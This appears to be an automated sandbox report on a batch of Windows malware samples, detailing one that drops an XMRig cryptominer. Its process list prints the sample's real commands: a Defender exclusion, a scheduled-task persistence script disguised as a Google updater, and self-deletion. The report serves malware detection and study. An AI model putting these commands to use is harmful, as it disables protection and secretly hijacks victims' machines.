Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1799s - max time network
1799s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system - submitted
24/01/2024, 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
- Size 2.0MB
- Sample240124-vstf4aecaj
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3204 created 3520 3204 EtPLMpbCyFJpMJr7.exe 49 PID 3204 created 3520 3204 EtPLMpbCyFJpMJr7.exe 49 PID 3204 created 3520 3204 EtPLMpbCyFJpMJr7.exe 49 PID 3204 created 3520 3204 EtPLMpbCyFJpMJr7.exe 49 PID 1316 created 3520 1316 updater.exe 49 PID 1316 created 3520 1316 updater.exe 49 PID 1316 created 3520 1316 updater.exe 49 PID 1316 created 3520 1316 updater.exe 49 PID 780 created 3520 780 conhost.exe 49 PID 1316 created 3520 1316 updater.exe 49 - XMRig Miner payload 31 IoCs
resource yara_rule behavioral12/memory/1572-122-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-125-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-129-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-130-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-132-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-135-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-138-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-140-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-142-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-144-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-146-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-148-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-150-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-152-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-154-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-156-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-158-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-160-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-162-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-164-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-166-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-168-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-170-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-172-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-174-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-176-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-178-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-180-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-182-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-184-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig behavioral12/memory/1572-186-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 1316 updater.exe -
resource yara_rule behavioral12/memory/1572-122-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-125-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-129-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-130-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-132-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-135-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-138-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-140-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-142-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-144-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-146-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-148-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-150-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-152-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-154-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-156-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-158-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-160-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-162-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-164-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-166-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-168-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-170-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-172-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-174-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-176-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-178-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-180-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-182-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-184-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx behavioral12/memory/1572-186-0x00007FF6D1600000-0x00007FF6D1DF4000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1316 set thread context of 780 1316 updater.exe 116 PID 1316 set thread context of 1572 1316 updater.exe 117 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe EtPLMpbCyFJpMJr7.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2816 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3204 EtPLMpbCyFJpMJr7.exe 3204 EtPLMpbCyFJpMJr7.exe 3368 powershell.exe 3368 powershell.exe 3204 EtPLMpbCyFJpMJr7.exe 3204 EtPLMpbCyFJpMJr7.exe 1648 powershell.exe 1648 powershell.exe 3204 EtPLMpbCyFJpMJr7.exe 3204 EtPLMpbCyFJpMJr7.exe 3204 EtPLMpbCyFJpMJr7.exe 3204 EtPLMpbCyFJpMJr7.exe 4084 powershell.exe 4084 powershell.exe 1316 updater.exe 1316 updater.exe 4352 powershell.exe 4352 powershell.exe 1316 updater.exe 1316 updater.exe 3548 powershell.exe 3548 powershell.exe 1316 updater.exe 1316 updater.exe 1316 updater.exe 1316 updater.exe 780 conhost.exe 780 conhost.exe 1316 updater.exe 1316 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3368 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeIncreaseQuotaPrivilege 1648 powershell.exe Token: SeSecurityPrivilege 1648 powershell.exe Token: SeTakeOwnershipPrivilege 1648 powershell.exe Token: SeLoadDriverPrivilege 1648 powershell.exe Token: SeSystemProfilePrivilege 1648 powershell.exe Token: SeSystemtimePrivilege 1648 powershell.exe Token: SeProfSingleProcessPrivilege 1648 powershell.exe Token: SeIncBasePriorityPrivilege 1648 powershell.exe Token: SeCreatePagefilePrivilege 1648 powershell.exe Token: SeBackupPrivilege 1648 powershell.exe Token: SeRestorePrivilege 1648 powershell.exe Token: SeShutdownPrivilege 1648 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeSystemEnvironmentPrivilege 1648 powershell.exe Token: SeRemoteShutdownPrivilege 1648 powershell.exe Token: SeUndockPrivilege 1648 powershell.exe Token: SeManageVolumePrivilege 1648 powershell.exe Token: 33 1648 powershell.exe Token: 34 1648 powershell.exe Token: 35 1648 powershell.exe Token: 36 1648 powershell.exe Token: SeIncreaseQuotaPrivilege 1648 powershell.exe Token: SeSecurityPrivilege 1648 powershell.exe Token: SeTakeOwnershipPrivilege 1648 powershell.exe Token: SeLoadDriverPrivilege 1648 powershell.exe Token: SeSystemProfilePrivilege 1648 powershell.exe Token: SeSystemtimePrivilege 1648 powershell.exe Token: SeProfSingleProcessPrivilege 1648 powershell.exe Token: SeIncBasePriorityPrivilege 1648 powershell.exe Token: SeCreatePagefilePrivilege 1648 powershell.exe Token: SeBackupPrivilege 1648 powershell.exe Token: SeRestorePrivilege 1648 powershell.exe Token: SeShutdownPrivilege 1648 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeSystemEnvironmentPrivilege 1648 powershell.exe Token: SeRemoteShutdownPrivilege 1648 powershell.exe Token: SeUndockPrivilege 1648 powershell.exe Token: SeManageVolumePrivilege 1648 powershell.exe Token: 33 1648 powershell.exe Token: 34 1648 powershell.exe Token: 35 1648 powershell.exe Token: 36 1648 powershell.exe Token: SeIncreaseQuotaPrivilege 1648 powershell.exe Token: SeSecurityPrivilege 1648 powershell.exe Token: SeTakeOwnershipPrivilege 1648 powershell.exe Token: SeLoadDriverPrivilege 1648 powershell.exe Token: SeSystemProfilePrivilege 1648 powershell.exe Token: SeSystemtimePrivilege 1648 powershell.exe Token: SeProfSingleProcessPrivilege 1648 powershell.exe Token: SeIncBasePriorityPrivilege 1648 powershell.exe Token: SeCreatePagefilePrivilege 1648 powershell.exe Token: SeBackupPrivilege 1648 powershell.exe Token: SeRestorePrivilege 1648 powershell.exe Token: SeShutdownPrivilege 1648 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeSystemEnvironmentPrivilege 1648 powershell.exe Token: SeRemoteShutdownPrivilege 1648 powershell.exe Token: SeUndockPrivilege 1648 powershell.exe Token: SeManageVolumePrivilege 1648 powershell.exe Token: 33 1648 powershell.exe Token: 34 1648 powershell.exe Token: 35 1648 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2812 wrote to memory of 4928 2812 cmd.exe 100 PID 2812 wrote to memory of 4928 2812 cmd.exe 100 PID 4084 wrote to memory of 3812 4084 powershell.exe 105 PID 4084 wrote to memory of 3812 4084 powershell.exe 105 PID 1316 wrote to memory of 780 1316 updater.exe 116 PID 2392 wrote to memory of 2816 2392 cmd.exe 113 PID 2392 wrote to memory of 2816 2392 cmd.exe 113 PID 1316 wrote to memory of 1572 1316 updater.exe 117 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3520
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3204
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2812
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3812
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
